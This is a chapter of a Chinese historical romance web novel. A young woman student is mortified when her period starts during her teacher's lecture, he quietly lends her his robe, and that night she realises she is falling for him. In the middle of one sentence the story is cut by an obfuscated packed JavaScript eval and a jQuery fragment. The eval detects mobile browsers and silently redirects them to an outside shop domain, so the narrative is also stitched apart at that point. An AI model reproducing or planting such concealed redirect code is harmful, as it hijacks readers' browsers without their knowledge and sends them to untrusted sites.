谢明珩的目光缓缓向堂下扫过,一众学子皆凝神思索,唯有李赴昭双眼澄澈透亮,光彩灼灼,一瞬不瞬地望着他。
“赴昭,你来回答。”谢明珩误以为小女郎定是提前将功课温习透彻,想要借此抹去前几日在同窗面前的窘迫,展露一番才学,这才敢满怀底气,直勾勾地盯着自己。
——我?
——怎么会是我?
李赴昭忽闻谢明珩点到自己的名字,面露慌张神色,只能迎着谢明珩的目光,硬着头皮站起来。
“夫子......我腹中隐隐作痛......容我先去一趟茅房。”起身的短短片刻中,李赴昭心中百般纠结,是该回答,还是逃避呢......
若是开口作答,便会暴露出自己学时浅薄的底细,难堪的也是自己;作为女郎,若是借腹痛为由离场,也是颜面尽失。
二者选其一......人有三急,想来众人也能体谅自己,索性还是先逃吧。
同窗们皆坐在李赴昭前面,谁也没有瞧见她方才慌乱无错的神色,但谢明珩在台上看得清楚,她的心思全然暴露在他眼中。
谢明珩这才恍然明白,方才她望着自己,并不是有心想要展露才学,大抵是又思绪飘远,走神了......
“去吧。”谢明珩淡淡抬手放过她,还是寻个时候,私下同她说说学堂的规矩吧。
得了谢明珩的应允,李赴昭垂着脑袋快步走出讲堂。
刚踏出学堂,便觉外头的空气格外清润舒爽,李赴昭慢悠悠在学堂外闲逛。
——谢明珩好似真要引她做勤学上进的学子......
——我只想敷衍时日......
算了算时间,估摸刚才堂上的话题已经结束,李赴昭才打算返身。
谢明珩见李赴昭如猫儿一般,放轻脚步自后门悄然回席上落座,也不再“为难”她,接续着讲学内容。
“小人闲居为不善,无所不至,见君子而后厌然,揜其不善,无所不至......”
谢明珩一贯是先朗声诵读书卷原句,而后逐字拆解剖析,末了再细细将整句文意梳理通顺。
“揜同掩,意藏匿,品行浅薄之人,独自一人时或可将坏事做尽,然而一见君子......"
——果然,谢明珩堂上所言的字字句句,没一个是自己想听的。
李赴昭单手撑着脸,目光幽幽地望着讲台上的谢明珩。
纵使他音色温润如玉,从他嘴里蹦出来的一字一句也不过是轻飘飘地从自己左耳入,转瞬便从右耳出,半分未从脑海中停下。
课上半点旁的动作也做不得,李赴昭只能凭一股意志力,硬压下心中翻涌的混沌困意。
——难道之后日日皆如此?实在煎熬痛苦。
忽的,李赴昭腹中一阵绞痛袭来。
——方才自己才借口腹中不适,说什么来什么?
——这阵绞痛竟莫名有几分熟悉,难道是!
李赴昭心头一惊,这带着坠痛感的绞痛,怕是来葵水了......转念想起昨夜贪食冰镇的澧酒,暗自叫苦。
——若是经血染上素袍,往后同窗面前,怕是再无颜面抬头见人。
“富润屋,德润身,心广体胖,故君子......”谢明珩仍立在台上,不急不缓,“喋喋不休”。
一股温热的暖流骤然淌落,李赴昭的心瞬间沉入冰底。
——坏了!曲裾怕是已染上污渍,若再就坐下去,怕是连身下的坐垫也要沾染上!
——眼下别无他发,只能留在学堂,等青双来学堂寻她,她再让青双速速回去取一身外袍,用来遮挡衣裙上的痕迹。
堂上的每一刻,对李赴昭而言都是煎熬。
“慎独二字不在人前,在无人窥见之时,依旧恪守本心,不生杂念......”谢明珩开始疏离课堂要义,本堂讲学即将落幕。
“昭昭,你还不走吗?”郑满想要与她一同回去。
“满满,你先回去吧,方才课上有几处我尚有不解,打算留下来向夫子请教一番。”李赴昭强撑着精神,勉强扯出一抹笑意,寻个借口让郑满先走。
“昭昭,你瞧着气色不适很好,可是腹中不爽?”郑满见她脸色苍白,有些担忧,开口询问道。
“许是昨夜食寒凉伤了肠胃,我一贯如此,无妨的,你先回去吧。”李赴昭压下身上的不适,现在只想赶走学堂里的所有人。
李赴昭不知,她与郑满的这番对话全被谢明珩听见了。
听闻李赴昭有意留下问学,谢明珩便暂缓收拾书卷,等她主动上前来寻自己。
片刻过后,堂内学子散去,只剩下他与李赴昭二人,却迟迟不见她上前。
——谢明珩怎还不离去?实在是快要坐不住了。
谢明珩怎知李赴昭心中焦灼,见她垂首缄默在席间迟迟不肯上前,谢明珩只好率先温声开口:“赴昭是有经义疑问要问?”
“并无......”李赴昭依旧低头,生怕谢明珩瞧出她的不适。
“既无疑问,为何还不回去?”谢明珩也觉李赴昭似有异样。
“我......夫子先走,我随后便离开。”李赴昭已无力思考,只想搪塞几句,快快打发谢明珩离去。
谢明珩留意到她身子微微发颤,于是缓步上前,却见她垂下的脸毫无血色:“可是不适?”
李赴昭竭力稳住自己轻颤的身子:“我无事,夫子还是先行离开吧。”
谢明珩思忖片刻,看着她苍白的面庞和止不住发颤的身子,迟疑开口问道:“你……是来葵水了?”
——还是被他看穿了!
——今日特意细细收拾打扮一番,偏生出这般窘事!
李赴昭心中如万马奔腾:“夫子别再追问了。”
话已至此,谢明珩心中了然,她定是来葵水了,可她不愿起身离开,莫不是......
“披上吧。”谢明珩没有多言,褪下身上的外袍,放在李赴昭身前的案几上。
“可是......坐垫上也......”李赴昭脸颊发烫,声音带着几分小心翼翼的局促与无措。
“快先回去休息吧......我来解决。”谢明珩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838787|211568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
转过身,背对李赴昭安抚她,也留出足够的时间让她将外袍披在身上。
李赴昭慌乱地将外袍搭在曲裾外,一心只想尽快离开这个令她窘迫的屋子。
刚起身,便见坐垫上落着点点刺目的猩红。
——果然沾到了!不管了不管了,明日我就要归家!
耳边传来李赴昭步履匆匆的声响后,谢明珩方才转身,一眼便瞧见坐垫上的红痕......
空荡荡的学堂内,谢明珩沉思片刻,想到受世叔所托......拾起坐垫,径直往后后院走。
李赴昭忍着小腹坠痛,一路小跑回院子:“青双,快打温水,我要梳洗一番。”
青双见李赴昭披了一件不知是何人的宽大外袍:“女郎这是?”
“葵水来了,快别问了。”一入内室,李赴昭便将谢明珩的外袍褪下。
青双也不敢多耽搁,赶忙快步到院中准备温热汤水。女郎昨日贪嘴,饮用了不少冰,此时定是腹痛浑身难受。
一番梳洗完毕后,李赴昭乏力地躺在床榻上,虽然小腹的坠痛感未有半分消减,但是身上清爽了不少。
“女郎,这是何人的外袍?”见女郎气色有所缓和,青双忍不住道出心中的疑惑。
“谢夫子的。”李赴昭说话有些有气无力,声音轻飘飘的。
“那谢夫子知女郎......”青双心头一紧,她最知女郎极好面子,这下完了。
"快别说了青双。"提及此,李赴昭伸手扯过薄被,将整张脸埋进去,不愿再多言。
——还是让女郎冷静一会儿吧。
青双安静地立在床榻边候着,暗中盘算:待到夜深人静时,再将衣袍取出来清洗晾晒,佛晓前收起来,这样不会被旁人撞见。此时初暑,夜风通透,晾上一夜差不多能干透。
夜色沉沉,万籁俱寂,皓月清亮狡洁,银辉洒满院落。
白日里的窘迫一幕幕在脑海中翻涌,李赴昭在榻上辗转反侧,偏生自己最狼狈难堪的模样,都被谢明珩瞧见。
脸颊又是一阵一阵的发烫,小腹的坠痛感也搅得她心神不宁,怎么都合不上眼安睡。
——不想再面对这一切,想洛城的父亲和姨母了!
——可是......归家就再也看不到谢明珩了......
——那还是继续待着吧......
——为什么怕见不到他?
李赴昭心口骤然砰砰狂跳,她不知自己是怎么了,脑海中又忽然忆起远舟兄长对自己告白的画面,两相纷乱的回忆交织在一处。
——这是喜欢吗?
——难道是......喜欢上他了?
往日与谢明珩相处时的种种又不受控制的浮现在眼前。
那日突逢骤雨,是他寻一借口,执意将油纸伞借予她;今日,也是他脱下外袍,替自己遮掩狼狈......
这些温柔小事,叫她如何不心动?
小女郎在这个夜晚内心注定是不能平静的,藏在薄被下的指尖微微蜷缩,满心皆是说不清道不明的羞赧与悸动,越发难以入眠。